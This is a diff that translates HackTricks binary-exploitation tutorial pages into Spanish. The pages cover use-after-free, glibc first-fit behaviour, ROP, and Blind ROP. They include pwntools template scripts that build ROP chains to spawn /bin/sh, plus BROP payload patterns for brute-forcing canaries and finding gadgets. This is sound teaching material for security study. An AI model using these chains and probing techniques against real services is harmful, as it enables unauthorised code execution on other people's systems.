b/src/binary-exploitation/libc-heap/use-after-free/README.md index d6fd34f42..9a8ef5e08 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/README.md +++ b/src/binary-exploitation/libc-heap/use-after-free/README.md @@ -1,17 +1,17 @@ -# Use After Free +# Uso Después de Liberar {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**. +Como su nombre indica, esta vulnerabilidad ocurre cuando un programa **almacena algún espacio** en el heap para un objeto, **escribe** alguna información allí, **libera** aparentemente porque ya no se necesita y luego **accede a él nuevamente**. -The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it). +El problema aquí es que no es ilegal (no **habrá errores**) cuando se **accede a memoria liberada**. Así que, si el programa (o el atacante) logra **asignar la memoria liberada y almacenar datos arbitrarios**, cuando se accede a la memoria liberada desde el puntero inicial, **esos datos habrían sido sobrescritos**, causando una **vulnerabilidad que dependerá de la sensibilidad de los datos** que se almacenaron originalmente (si era un puntero a una función que iba a ser llamada, un atacante podría saber controlarlo). -### First Fit attack +### Ataque de Primer Ajuste -A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\ -Check more info in: +Un ataque de primer ajuste se dirige a la forma en que algunos asignadores de memoria, como en glibc, gestionan la memoria liberada. Cuando liberas un bloque de memoria, se agrega a una lista, y las nuevas solicitudes de memoria se extraen de esa lista desde el final. Los atacantes pueden usar este comportamiento para manipular **qué bloques de memoria se reutilizan, potencialmente ganando control sobre ellos**. Esto puede llevar a problemas de "uso después de liberar", donde un atacante podría **cambiar el contenido de la memoria que se vuelve a asignar**, creando un riesgo de seguridad.\ +Consulta más información en: {{#ref}} first-fit.md diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md index 7bab07aea..4859a6c89 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -4,36 +4,33 @@ ## **First Fit** -When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins. +Cuando liberas memoria en un programa usando glibc, se utilizan diferentes "bins" para gestionar los bloques de memoria. Aquí hay una explicación simplificada de dos escenarios comunes: bins no ordenados y fastbins. -### Unsorted Bins +### Bins No Ordenados -When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin. +Cuando liberas un bloque de memoria que no es un bloque rápido, va al bin no ordenado. Este bin actúa como una lista donde los nuevos bloques liberados se añaden al frente (la "cabeza"). Cuando solicitas un nuevo bloque de memoria, el asignador mira el bin no ordenado desde la parte trasera (la "cola") para encontrar un bloque que sea lo suficientemente grande. Si un bloque del bin no ordenado es más grande de lo que necesitas, se divide, devolviendo la parte delantera y manteniendo la parte restante en el bin. -Example: - -- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`). -- When you free `a`, it goes to the unsorted bin. -- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin. - - `c` will be pointing to the previous `a` and filled with the `a's`. +Ejemplo: +- Asignas 300 bytes (`a`), luego 250 bytes (`b`), liberas `a` y solicitas nuevamente 250 bytes (`c`). +- Cuando liberas `a`, va al bin no ordenado. +- Si luego solicitas 250 bytes nuevamente, el asignador encuentra `a` en la cola y lo divide, devolviendo la parte que se ajusta a tu solicitud y manteniendo el resto en el bin. +- `c` apuntará al anterior `a` y estará lleno con los `a's`. ```c char *a = malloc(300); char *b = malloc(250); free(a); char *c = malloc(250); ``` - ### Fastbins -Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head. +Fastbins se utilizan para pequeños fragmentos de memoria. A diferencia de los bins no ordenados, los fastbins añaden nuevos fragmentos a la cabeza, creando un comportamiento de último en entrar, primero en salir (LIFO). Si solicitas un pequeño fragmento de memoria, el asignador tomará de la cabeza del fastbin. -Example: - -- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`). -- When you free them in any order, the freed chunks are added to the fastbin's head. -- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin. +Ejemplo: +- Asignas cuatro fragmentos de 20 bytes cada uno (`a`, `b`, `c`, `d`). +- Cuando los liberas en cualquier orden, los fragmentos liberados se añaden a la cabeza del fastbin. +- Si luego solicitas un fragmento de 20 bytes, el asignador devolverá el fragmento liberado más recientemente de la cabeza del fastbin. ```c char *a = malloc(20); char *b = malloc(20); @@ -48,17 +45,16 @@ b = malloc(20); // c c = malloc(20); // b d = malloc(20); // a ``` - -## Other References & Examples +## Otras Referencias y Ejemplos - [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit) - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) - - ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check** +- ARM64. Use after free: Generar un objeto de usuario, liberarlo, generar un objeto que obtenga el fragmento liberado y permitir escribir en él, **sobrescribiendo la posición de user->password** del anterior. Reutilizar el usuario para **eludir la verificación de contraseña** - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example) - - The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\) with the contents of the note. - - The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache). - - Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer. +- El programa permite crear notas. Una nota tendrá la información de la nota en un malloc(8) (con un puntero a una función que podría ser llamada) y un puntero a otro malloc(\) con el contenido de la nota. +- El ataque consistiría en crear 2 notas (note0 y note1) con contenidos de malloc más grandes que el tamaño de la información de la nota y luego liberarlas para que entren en el fast bin (o tcache). +- Luego, crear otra nota (note2) con un tamaño de contenido de 8. El contenido estará en note1 ya que el fragmento se va a reutilizar, donde podríamos modificar el puntero de función para apuntar a la función win y luego Use-After-Free la note1 para llamar al nuevo puntero de función. - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) - - It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag. +- Es posible asignar algo de memoria, escribir el valor deseado, liberarlo, reallocarlo y como los datos anteriores aún están allí, se tratará de acuerdo con la nueva estructura esperada en el fragmento, lo que hace posible establecer el valor o obtener la bandera. - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) - - In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it. +- En este caso, es necesario escribir 4 dentro de un fragmento específico que es el primero que se asigna (incluso después de forzar la liberación de todos ellos). En cada nuevo fragmento asignado, su número en el índice del array se almacena. Luego, asignar 4 fragmentos (+ el inicialmente asignado), el último tendrá 4 dentro de él, liberarlos y forzar la reasignación del primero, que utilizará el último fragmento liberado que es el que tiene 4 dentro de él. diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index 29e21bca5..7f02ae5a7 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -1,46 +1,45 @@ -# ROP - Return Oriented Programing +# ROP - Programación Orientada a Retornos {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **Información Básica** -**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections. +**Programación Orientada a Retornos (ROP)** es una técnica de explotación avanzada utilizada para eludir medidas de seguridad como **No-Execute (NX)** o **Prevención de Ejecución de Datos (DEP)**. En lugar de inyectar y ejecutar shellcode, un atacante aprovecha fragmentos de código ya presentes en el binario o en bibliotecas cargadas, conocidos como **"gadgets"**. Cada gadget generalmente termina con una instrucción `ret` y realiza una pequeña operación, como mover datos entre registros o realizar operaciones aritméticas. Al encadenar estos gadgets, un atacante puede construir una carga útil para realizar operaciones arbitrarias, eludiendo efectivamente las protecciones NX/DEP. -### How ROP Works +### Cómo Funciona ROP -1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack. -2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations. -3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets. +1. **Secuestro del Flujo de Control**: Primero, un atacante necesita secuestrar el flujo de control de un programa, típicamente explotando un desbordamiento de búfer para sobrescribir una dirección de retorno guardada en la pila. +2. **Encadenamiento de Gadgets**: El atacante luego selecciona y encadena cuidadosamente gadgets para realizar las acciones deseadas. Esto podría implicar configurar argumentos para una llamada a función, llamar a la función (por ejemplo, `system("/bin/sh")`), y manejar cualquier limpieza o operaciones adicionales necesarias. +3. **Ejecución de la Carga Útil**: Cuando la función vulnerable retorna, en lugar de regresar a una ubicación legítima, comienza a ejecutar la cadena de gadgets. -### Tools +### Herramientas -Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). +Típicamente, los gadgets se pueden encontrar usando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) o directamente desde **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). -## ROP Chain in x86 Example +## Ejemplo de Cadena ROP en x86 -### **x86 (32-bit) Calling conventions** +### **x86 (32-bit) Convenciones de Llamada** -- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.** -- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack. +- **cdecl**: El llamador limpia la pila. Los argumentos de la función se empujan en la pila en orden inverso (de derecha a izquierda). **Los argumentos se empujan en la pila de derecha a izquierda.** +- **stdcall**: Similar a cdecl, pero el llamado es responsable de limpiar la pila. -### **Finding Gadgets** +### **Encontrando Gadgets** -First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are: +Primero, supongamos que hemos identificado los gadgets necesarios dentro del binario o sus bibliotecas cargadas. Los gadgets que nos interesan son: -- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`. -- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`. -- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**. -- Additionally, we have the address of the `system()` function available. +- `pop eax; ret`: Este gadget saca el valor superior de la pila en el registro `EAX` y luego retorna, permitiéndonos controlar `EAX`. +- `pop ebx; ret`: Similar al anterior, pero para el registro `EBX`, habilitando el control sobre `EBX`. +- `mov [ebx], eax; ret`: Mueve el valor en `EAX` a la ubicación de memoria apuntada por `EBX` y luego retorna. Esto se llama a menudo un **gadget de escribir-qué-dónde**. +- Además, tenemos la dirección de la función `system()` disponible. -### **ROP Chain** +### **Cadena ROP** -Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with: - -1. A `ret` instruction for alignment purposes (optional) -2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/)) -3. Placeholder for the return address from `system()` -4. `"/bin/sh"` string address (parameter for system function) +Usando **pwntools**, preparamos la pila para la ejecución de la cadena ROP de la siguiente manera, con el objetivo de ejecutar `system('/bin/sh')`, nota cómo la cadena comienza con: +1. Una instrucción `ret` para propósitos de alineación (opcional) +2. Dirección de la función `system` (suponiendo ASLR deshabilitado y libc conocida, más información en [**Ret2lib**](ret2lib/)) +3. Marcador de posición para la dirección de retorno de `system()` +4. Dirección de la cadena `"/bin/sh"` (parámetro para la función system) ```python from pwn import * @@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th # Construct the ROP chain rop_chain = [ - ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues - system_addr, # Address of system(). Execution will continue here after the ret gadget - 0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. - bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() +ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues +system_addr, # Address of system(). Execution will continue here after the ret gadget +0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. +bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() ] # Flatten the rop_chain for use @@ -74,28 +73,26 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` +## Cadena ROP en x64 Ejemplo -## ROP Chain in x64 Example +### **x64 (64-bit) Convenciones de llamada** -### **x64 (64-bit) Calling conventions** +- Utiliza la convención de llamada **System V AMD64 ABI** en sistemas similares a Unix, donde los **primeros seis argumentos enteros o punteros se pasan en los registros `RDI`, `RSI`, `RDX`, `RCX`, `R8` y `R9`**. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en `RAX`. +- La convención de llamada **Windows x64** utiliza `RCX`, `RDX`, `R8` y `R9` para los primeros cuatro argumentos enteros o punteros, con argumentos adicionales pasados en la pila. El valor de retorno se coloca en `RAX`. +- **Registros**: los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` y `R8` a `R15`. -- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`. -- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`. -- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`. +#### **Encontrar Gadgets** -#### **Finding Gadgets** +Para nuestro propósito, centrémonos en gadgets que nos permitan establecer el registro **RDI** (para pasar la cadena **"/bin/sh"** como argumento a **system()**) y luego llamar a la función **system()**. Supondremos que hemos identificado los siguientes gadgets: -For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets: +- **pop rdi; ret**: Extrae el valor superior de la pila en **RDI** y luego retorna. Esencial para establecer nuestro argumento para **system()**. +- **ret**: Un retorno simple, útil para la alineación de la pila en algunos escenarios. -- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**. -- **ret**: A simple return, useful for stack alignment in some scenarios. +Y sabemos la dirección de la función **system()**. -And we know the address of the **system()** function. - -### **ROP Chain** - -Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**: +### **Cadena ROP** +A continuación se muestra un ejemplo utilizando **pwntools** para configurar y ejecutar una cadena ROP con el objetivo de ejecutar **system('/bin/sh')** en **x64**: ```python from pwn import * @@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary # Construct the ROP chain rop_chain = [ - ret_gadget, # Alignment gadget, if needed - pop_rdi_gadget, # pop rdi; ret - bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() - system_addr # Address of system(). Execution will continue here. +ret_gadget, # Alignment gadget, if needed +pop_rdi_gadget, # pop rdi; ret +bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() +system_addr # Address of system(). Execution will continue here. ] # Flatten the rop_chain for use @@ -130,66 +127,65 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` +En este ejemplo: -In this example: +- Utilizamos el gadget **`pop rdi; ret`** para establecer **`RDI`** en la dirección de **`"/bin/sh"`**. +- Saltamos directamente a **`system()`** después de establecer **`RDI`**, con la dirección de **system()** en la cadena. +- **`ret_gadget`** se utiliza para la alineación si el entorno objetivo lo requiere, lo cual es más común en **x64** para asegurar una alineación adecuada de la pila antes de llamar a funciones. -- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**. -- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain. -- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions. +### Alineación de la Pila -### Stack Alignment +**El ABI x86-64** asegura que la **pila esté alineada a 16 bytes** cuando se ejecuta una **instrucción de llamada**. **LIBC**, para optimizar el rendimiento, **utiliza instrucciones SSE** (como **movaps**) que requieren esta alineación. Si la pila no está alineada correctamente (lo que significa que **RSP** no es un múltiplo de 16), las llamadas a funciones como **system** fallarán en una **cadena ROP**. Para solucionar esto, simplemente agrega un **gadget ret** antes de llamar a **system** en tu cadena ROP. -**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain. - -## x86 vs x64 main difference +## Diferencia principal entre x86 y x64 > [!TIP] -> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP). +> Dado que **x64 utiliza registros para los primeros argumentos,** a menudo requiere menos gadgets que x86 para llamadas a funciones simples, pero encontrar y encadenar los gadgets correctos puede ser más complejo debido al mayor número de registros y al espacio de direcciones más grande. El mayor número de registros y el espacio de direcciones más grande en la arquitectura **x64** ofrecen tanto oportunidades como desafíos para el desarrollo de exploits, especialmente en el contexto de la Programación Orientada a Retornos (ROP). -## ROP chain in ARM64 Example +## Ejemplo de cadena ROP en ARM64 -### **ARM64 Basics & Calling conventions** +### **Conceptos básicos de ARM64 y convenciones de llamada** -Check the following page for this information: +Consulta la siguiente página para esta información: {{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Protections Against ROP +## Protecciones contra ROP -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain -- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/): Estas protecciones dificultan el uso de ROP ya que las direcciones de los gadgets cambian entre ejecuciones. +- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): En caso de un BOF, es necesario eludir el almacenamiento del canario de pila para sobrescribir los punteros de retorno y abusar de una cadena ROP. +- **Falta de Gadgets**: Si no hay suficientes gadgets, no será posible generar una cadena ROP. -## ROP based techniques +## Técnicas basadas en ROP -Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed: +Ten en cuenta que ROP es solo una técnica para ejecutar código arbitrario. Basado en ROP se desarrollaron muchas técnicas Ret2XXX: -- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`. +- **Ret2lib**: Usa ROP para llamar a funciones arbitrarias de una biblioteca cargada con parámetros arbitrarios (generalmente algo como `system('/bin/sh')`. {{#ref}} ret2lib/ {{#endref}} -- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands. +- **Ret2Syscall**: Usa ROP para preparar una llamada a una syscall, por ejemplo, `execve`, y hacer que ejecute comandos arbitrarios. {{#ref}} rop-syscall-execv/ {{#endref}} -- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP). +- **EBP2Ret y EBP Chaining**: El primero abusará de EBP en lugar de EIP para controlar el flujo y el segundo es similar a Ret2lib, pero en este caso el flujo se controla principalmente con direcciones EBP (aunque también es necesario controlar EIP). {{#ref}} ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md {{#endref}} -## Other Examples & References +## Otros Ejemplos y Referencias - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) - - 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag +- 64 bits, Pie y nx habilitados, sin canario, sobrescribir RIP con una dirección `vsyscall` con el único propósito de regresar a la siguiente dirección en la pila, que será una sobrescritura parcial de la dirección para obtener la parte de la función que filtra la bandera. - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- arm64, sin ASLR, gadget ROP para hacer la pila ejecutable y saltar al shellcode en la pila. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 94d93bd6f..c3ad17c0e 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -1,124 +1,124 @@ -# BROP - Blind Return Oriented Programming +# BROP - Programación Orientada a Retornos Ciega {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\ -This attack is based on the following scenario: +El objetivo de este ataque es poder **abusar de un ROP a través de un desbordamiento de búfer sin ninguna información sobre el binario vulnerable**.\ +Este ataque se basa en el siguiente escenario: -- A stack vulnerability and knowledge of how to trigger it. -- A server application that restarts after a crash. +- Una vulnerabilidad en la pila y conocimiento de cómo activarla. +- Una aplicación de servidor que se reinicia después de un fallo. -## Attack +## Ataque -### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected +### **1. Encontrar el desplazamiento vulnerable** enviando un carácter más hasta que se detecte un mal funcionamiento del servidor -### **2. Brute-force canary** to leak it +### **2. Fuerza bruta del canario** para filtrarlo -### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them +### **3. Fuerza bruta de las direcciones RBP y RIP** almacenadas en la pila para filtrarlas -You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). +Puedes encontrar más información sobre estos procesos [aquí (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) y [aquí (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). -### **4. Find the stop gadget** +### **4. Encontrar el gadget de parada** -This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed +Este gadget permite confirmar que algo interesante fue ejecutado por el gadget ROP porque la ejecución no falló. Generalmente, este gadget va a ser algo que **detiene la ejecución** y está posicionado al final de la cadena ROP al buscar gadgets ROP para confirmar que un gadget ROP específico fue ejecutado. -### **5. Find BROP gadget** +### **5. Encontrar el gadget BROP** -This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**: +Esta técnica utiliza el gadget [**ret2csu**](ret2csu.md). Y esto es porque si accedes a este gadget en medio de algunas instrucciones obtienes gadgets para controlar **`rsi`** y **`rdi`**:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

-These would be the gadgets: +Estos serían los gadgets: - `pop rsi; pop r15; ret` - `pop rdi; ret` -Notice how with those gadgets it's possible to **control 2 arguments** of a function to call. +Observa cómo con esos gadgets es posible **controlar 2 argumentos** de una función a llamar. -Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like: +Además, nota que el gadget ret2csu tiene una **firma muy única** porque va a estar sacando 6 registros de la pila. Así que enviando una cadena como: `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` -If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address. +Si el **STOP se ejecuta**, esto básicamente significa que se utilizó una **dirección que está sacando 6 registros** de la pila. O que la dirección utilizada también era una dirección STOP. -In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers: +Para **eliminar esta última opción**, se ejecuta una nueva cadena como la siguiente y no debe ejecutar el gadget STOP para confirmar que el anterior sí sacó 6 registros: `'A' * offset + canary + rbp + ADDR` -Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**. +Conociendo la dirección del gadget ret2csu, es posible **inferir la dirección de los gadgets para controlar `rsi` y `rdi`**. -### 6. Find PLT +### 6. Encontrar PLT -The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed. +La tabla PLT se puede buscar desde 0x400000 o desde la **dirección RIP filtrada** de la pila (si se está utilizando **PIE**). Las **entradas** de la tabla están **separadas por 16B** (0x10B), y cuando se llama a una función, el servidor no falla incluso si los argumentos no son correctos. Además, verificar la dirección de una entrada en el **PLT + 6B tampoco falla** ya que es el primer código ejecutado. -Therefore, it's possible to find the PLT table checking the following behaviours: +Por lo tanto, es posible encontrar la tabla PLT verificando los siguientes comportamientos: -- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash -- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash -- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash +- `'A' * offset + canary + rbp + ADDR + STOP` -> no falla +- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no falla +- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no falla -### 7. Finding strcmp +### 7. Encontrar strcmp -The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program. +La función **`strcmp`** establece el registro **`rdx`** a la longitud de la cadena que se está comparando. Nota que **`rdx`** es el **tercer argumento** y necesitamos que sea **mayor que 0** para luego usar `write` para filtrar el programa. -It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions: +Es posible encontrar la ubicación de **`strcmp`** en el PLT basado en su comportamiento utilizando el hecho de que ahora podemos controlar los 2 primeros argumentos de las funciones: -- strcmp(\, \) -> crash -- strcmp(\, \) 